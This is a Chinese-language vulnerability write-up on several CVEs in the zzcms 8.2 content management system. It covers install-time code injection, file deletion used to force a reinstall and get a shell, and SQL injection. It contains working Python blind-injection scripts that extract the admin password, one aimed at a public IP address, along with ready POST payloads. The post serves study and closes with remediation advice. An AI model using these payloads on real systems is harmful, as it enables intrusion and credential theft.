内容简介:看了一下最近的cve列表,发现有大佬怒刷了好多个cve,这个zzcms都快被审穿了,所以跟进学习一下本文跟踪的这个cms,属于一个开源招商网站管理系统,属于比较小的cms,所以很多地方写的不是很完善,导致了漏洞的产生,项目官网为
看了一下最近的cve列表,发现有大佬怒刷了好多个cve,这个zzcms都快被审穿了,所以跟进学习一下
CMS背景
本文跟踪的这个cms,属于一个开源招商网站管理系统,属于比较小的cms,所以很多地方写的不是很完善,导致了漏洞的产生,项目官网为 http://www.zzcms.net/ ,本次我跟进的版本为8.2。
CVE-2018-8966
首先,这是一个在安装的时候的代码注入,如果不配合其他漏洞删除安装后产生的锁文件 install.lock ,这个漏洞在实际环境中将毫无作用。
下面我们来具体分析一下漏洞产生的原因:
系统在安装的过程中,对输入的变量并没有任何过滤就写入了文件,所以我们只要闭合有关代码,然后注入命令就可以拿到shell。
下面开始复现:
复现成功,同理,这里既然能插入 php 代码,那也可以插入一端javascript代码,造成存储型xss,具体流程不在分析。
CVE-2018-8967
这是一个前台的 sql 注入,可以获取管理员密码的账号密码,问题出在了 /user/adv2.php 下面我们分析一下代码:
这里整个cms还是对传入的cms进行了过滤的,过滤代码在/inc/stopsqlin.php,但是在这个地方,是没有对sql变量用引号包裹,所以不用单引号也可以直接进行sql注入。
但是这个地方想要注入,前面需要满足一定的条件,见下图
至少要让这两个数据出来的值有一个是1,否则将不会进入注入的代码。
这里的坑点比较多,简单讲下吧,有一个知识点:
select * from zzcms_ad where id =1 or sleep(4); 按照常理这个会延时,但是如果表中是空的,那这个将不会有任何延时
所以我们在注入的时候,要保证表中有数据,才能正常延时盲注的
所以这里要利用这个盲注,需要满足的条件有:
- 注册为企业用户,并且通过审核
- 发布广告,报账zzcms_main中,有一条记录
- 整个网站的广告表zzcms_add中需要至少有一条数据
当上面的条件都满足的时候,就可以进行注入了,下面贴一下paylaod:
import requests
import string
s = requests.session()
url = "http://127.0.0.1:8000/user/adv2.php?action=modify"
cookies = {
'UserName':'test1',#换成你注册的企业用户的用户名
}
flag = ''
for i in range(1,40):
for j in range(33,125):
data = {
'id':'0 or if((select ascii(substr(pass,{},1)) from zzcms_admin)={},sleep(3),0)'.format(i,j)}
try:
r = s.post(url,data=data,cookies=cookies,timeout=1)
except:
flag += chr(j)
print flag
break
print flag
实际测试截图:
CVE-2018-8965
这是一个任意文件删除漏洞,危害还是很大的,配合上面的安装过程中的getshell,还是可以有很大的攻击面
出问题的代码在:/user/ppsave.php
可以发现并没有什么验证,只是判断了一下是不是和之前的或者默认的一样,然后只要文件存在,就使用了 unlink 删除了文件.
所以这个漏洞分析和利用都很简单
/install/install.lock
然后就可以重新安装zzcms,从而配合上文分析的漏洞获取shell。
CVE-2018-9309
又是一枚sql注入漏洞,不过这个也是一个需要登陆,需要设置相关信息才能利用的漏洞。属于设计不当。
首先我们看一下出问题的核心代码:
if (!empty($_POST["sql"])){//从模板中获取SQL内容,为发送对像
$_SESSION['sql']=stripfxg($_POST["sql"]);
}
$sql=$_SESSION['sql'];
$sql2=$sql." order by id asc limit $n,$size";
$rs=query($sql2);
$row=num_rows($rs);
可以发现这里将post参数中的sql进行了解码放进了session中,而 stripfxg 函数代码如下:
function stripfxg($string,$htmlspecialchars_decode=false,$nl2br=false) {//去反斜杠
$string=stripslashes($string);//去反斜杠,不开get_magic_quotes_gpc 的情况下,在stopsqlin中都加上了,这里要去了
if ($htmlspecialchars_decode==true){
$string=htmlspecialchars_decode($string);//转html实体符号
}
if ($nl2br==true){
$string=nl2br($string);
}
return $string;
}
可以发现并不是什么过滤,所以这里直接拼接进入sql中是及其危险的,后面还有一些没有申请cve的漏洞也是因为调用了这个函数,导致了过滤失效。
代码利用也是比较简单的:
127.0.0.1/dl/dl_sendmail.php post数据为: sql=select email from zzcms_dl where id=-1 union select group_concat(table_name) from information_schema.columns where table_schema=database()#
下面是执行结果:
CVE-2018-9331
有一枚任意文件删除漏洞,不得不说这个系统在这个的判断上真的是很有问题
这次产生问题的文件在/user/adv.php
也是一个 oldimg 和 img 对比产生的问题
和上面分析类似,都是只判断了是否和原来的相同,然后拼接了 ../ 就直接调用 unlink ,所以利用也很简单
只需要将html中表单属性的hidden删掉,然后直接输入想要删除的文件名就可以啦
没有申请cve的漏洞
有几个sql注入比较严重,下面逐个分析一下
No.1 getip()未过滤
出问题的代码在 /user/check.php 中
在检查用户登录的位置,发现会调用 getip() 这个函数,我们跟进看一下:
发现并没有过滤,可以直接注入xff头,来进行注入,注入脚本如下:
import requests
import string
s = requests.session()
url = "http://219.219.61.234:8000/user/adv.php"//只要include了check.php都可以
cookies = {
'UserName':'test1',
'PassWord':'21232f297a57a5a743894a0e4a801fc3'
}
flag = ''
for i in range(1,40):
print i
for j in range(33,125):
head = {
'X-Forwarded-For':"1' where username = 'test1' and if((select ascii(substr(pass,{},1)) from zzcms_admin)={},sleep(10),0)#".format(i,j)}
try:
r = s.post(url,headers=head,cookies=cookies,timeout=9)
except:
flag += chr(j)
print flag
break
print flag
测试截图为:
No.2 del.php未过滤
/user/del.php
不过这个注入有一个前提,我们需要先发布一个咨询信息,然后管理员审核过以后,就可以利用来注入了,这个在实际场景中,还是可以实现的。
可以看到,直接将tablename拼接进入了sql语句中,所以利用起来难度也不是很大,但是这里并没有回显,所以需要使用时间盲注,或者dns log外带的方法来获取数据。
No.3 stripfxg过滤不完整
在整个系统中,还有个函数是非常危险的,他可以将全局过滤还原成正常的数据,如果这个数据带入了sql查询中,是可以直接造成注入的。
代码逻辑:
所以这里的利用也是比较简单的:
POST /user/msg.php?action=savedata&saveas=add 参数为: info_content=123' ^ sleep(5))#&id=1&Submit2=%E4%BF%AE%E6%94%B9%0D%0A
这里有一个注入的小技巧,就是在做insert注入和update注入的时候,除了能够多伪造一组数据以外,还可以使用这种异或符号加上sleep函数来延时注入
insert into user (content)VALUES('1' ^ if(1=1,sleep(5),0)#
验证截图:
总结
系统存在的问题:
- 系统在实现逻辑的过程中,存在了太多了没有过滤直接带入逻辑的情况,这在很多大的框架中是不存在的,建议可以自己封装一层,在封装层中间实现好过滤,用起来也很方便
- 系统对用户文件的存储删除有很大问题,很多在删除用户文件的时候,并没有检查是不是合法,就直接unlink了,这可以导致很大的问题。
- 系统在很多地方很轻易的就将自己的过滤去掉了,核心就是那个stripfxg函数,建议减少这个函数的使用,保证所有变量都经过了过滤。
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 使用动态分析技术分析 Java
- 使用动态分析技术分析 Java
- 案例分析:如何进行需求分析?
- 深度分析ConcurrentHashMap原理分析
- 如何分析“数据分析师”的岗位?
- EOS源码分析(3)案例分析
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Head First Python
Paul Barry / O'Reilly Media / 2010-11-30 / USD 49.99
Are you keen to add Python to your programming skills? Learn quickly and have some fun at the same time with Head First Python. This book takes you beyond typical how-to manuals with engaging images, ......一起来看看 《Head First Python》 这本书的介绍吧!